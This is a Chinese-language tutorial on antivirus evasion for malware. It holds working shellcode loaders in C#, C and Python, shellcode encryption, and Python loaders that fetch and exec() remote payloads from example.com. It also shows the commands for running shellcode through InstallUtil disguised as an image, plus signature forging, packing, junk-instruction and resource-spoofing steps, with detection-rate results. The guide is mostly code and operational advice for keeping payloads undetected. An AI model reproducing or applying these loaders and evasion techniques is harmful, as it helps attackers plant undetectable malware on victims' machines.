各种免杀思路分析
字数 1441 2025-08-07 08:21:54
高级免杀技术全面指南
免杀基础概念
免杀技术(Antivirus Evasion)是指通过各种方法使恶意软件绕过杀毒软件的检测机制。在内网渗透中,免杀技术尤为重要,因为直接使用公开的工具或Payload很容易被检测。
免杀核心考虑因素
- 执行条件:Payload在各种环境下的执行能力
- 文件大小:避免过大引起怀疑
- 功能完整性:确保Payload能正常上线工作
语言选择对免杀的影响
不同编程语言生成的Payload具有不同的免杀率:
C#实现示例
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess {
class Program {
static void Main(string[] args) {
byte[] shellcode = new byte[799] { /* shellcode */ };
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
hThread = CreateThread(0, 0, funcAddr, IntPtr.Zero, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
// 相关API声明...
}
}
免杀率:31/67
C语言实现示例
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
unsigned char buf[] = "\xfc\xe8\x89..."; // shellcode
int main() {
char* Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
免杀率:37/67
结论:语言选择直接影响免杀效果,C语言比C#有更好的免杀率
编码与混淆技术
加密混淆示例
使用自定义加密算法处理shellcode:
// 加密部分
byte[] KEY = { 0x33, 0x11, 0x33, 0x00, /* ... */ };
byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
byte[] encrypted = Encryption_Class.Encrypt(KEY, shellcode);
// 解密执行部分
byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
免杀效果:从31/67提升到26/67
常用加密方式
- Base64编码
- AES加密
- XOR异或加密
- RC4加密
- 自定义加密算法
打包器选择策略
Python实现示例
import ctypes
import base64
encode_shellcode = 'XHhmY1x4ZTh...' # base64编码的shellcode
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
不同打包器效果
- PyInstaller打包:免杀率3/44
- py2exe打包:免杀率9/66
结论:打包器选择显著影响免杀效果
Shellcode分离技术
将shellcode与加载器分离,实现无文件落地:
改进版Python加载器
import ctypes
import requests
import base64
mk = requests.get("http://example.com/shellcode.txt").text
mksec = base64.b64decode(mk)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(mksec), 0x1000, 0x40)
sha = base64.b64decode(b'Y3R5cGVzL...') # base64编码的RtlMoveMemory调用
exec(sha)
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
免杀率:4/65
完全远程加载
import requests
import base64
mk = requests.get("http://example.com/66.txt").text
mksec = base64.b64decode(mk)
init = requests.get("http://example.com/12.txt").text
head = base64.b64decode(init)
exec(head)
免杀率:2/63
关键点:
- 变量命名避免常见安全词汇
- 关键API调用进行编码
- 功能模块远程分离
白名单技术利用
InstallUtil白名单执行
using System;
using System.ComponentModel;
using System.Configuration.Install;
using System.Runtime.InteropServices;
[System.ComponentModel.RunInstaller(true)]
public class Sample : Installer {
public override void Uninstall(System.Collections.IDictionary savedState) {
// shellcode执行逻辑
}
}
public class Program {
public static void Main() {
Console.WriteLine("正常功能...");
}
}
执行方式:
csc /unsafe /platform:x86 /out:d:\mksec.jpg InstallUtil-ShellCode.cs
InstallUtil /logfile= /LogToConsole=false /U d:\mksec.jpg
优势:
- 利用系统自带工具执行
- 可伪装为图片等无害格式
- 绕过应用白名单限制
数字签名伪造
伪造方法
- 使用K8数字签名添加器等工具
- 提取合法软件的签名信息
- 将签名应用到恶意程序
效果:
- 未签名:31/67检测率
- 添加签名后:27/67检测率
加壳保护技术
常用加壳工具
- VMProtect Ultimate
- 未加壳:37/67
- 加壳后:32/66
- UPX
- Themida
- ASPack
加壳优势:
- 加密原始代码
- 增加逆向分析难度
- 改变文件特征
花指令技术
花指令特点
- 插入无意义但合法的汇编指令
- 不影响程序功能
- 扰乱反汇编和特征码定位
- 改变代码偏移量
实现方式
jmp label1
db 无意义字节
label1:
特征码定位与修改
定位流程
- 使用分块工具将文件分割
- 对每个分块进行查杀测试
- 定位被检测的分块范围
- 使用反汇编工具精确定位
常用工具
- MyCCL特征码定位器
- OllyDbg
- IDA Pro
资源修改技术
实施步骤
- 提取合法软件的资源(图标、版本信息等)
- 将这些资源注入到恶意程序中
- 修改程序属性信息
效果示例:
- 未修改:37/67
- 伪装为酷狗音乐:31/67
综合免杀策略
多层次免杀方案
-
Payload层:
- 选择免杀率高的语言实现
- 使用强加密算法混淆
- 分离shellcode与加载器
-
加载层:
- 利用白名单程序加载
- 使用非常规文件格式
- 添加合法数字签名
-
保护层:
- 多重加壳保护
- 插入花指令
- 修改特征码
-
伪装层:
- 伪造资源信息
- 模仿合法软件
- 使用无害图标
组合技术效果
通过合理组合上述技术,可以将检测率从最初的31/67降低到2/63甚至更低,具体取决于技术组合的复杂度和杀毒软件的检测能力。
持续对抗建议
- 保持更新:关注杀毒软件的最新检测技术
- 多样化:准备多种免杀方案轮流使用
- 定制化:针对目标环境定制免杀方案
- 测试验证:使用多款杀毒软件全面测试
- 代码混淆:定期更新混淆算法和密钥
免杀技术是持续对抗的过程,需要不断研究和创新才能保持有效性。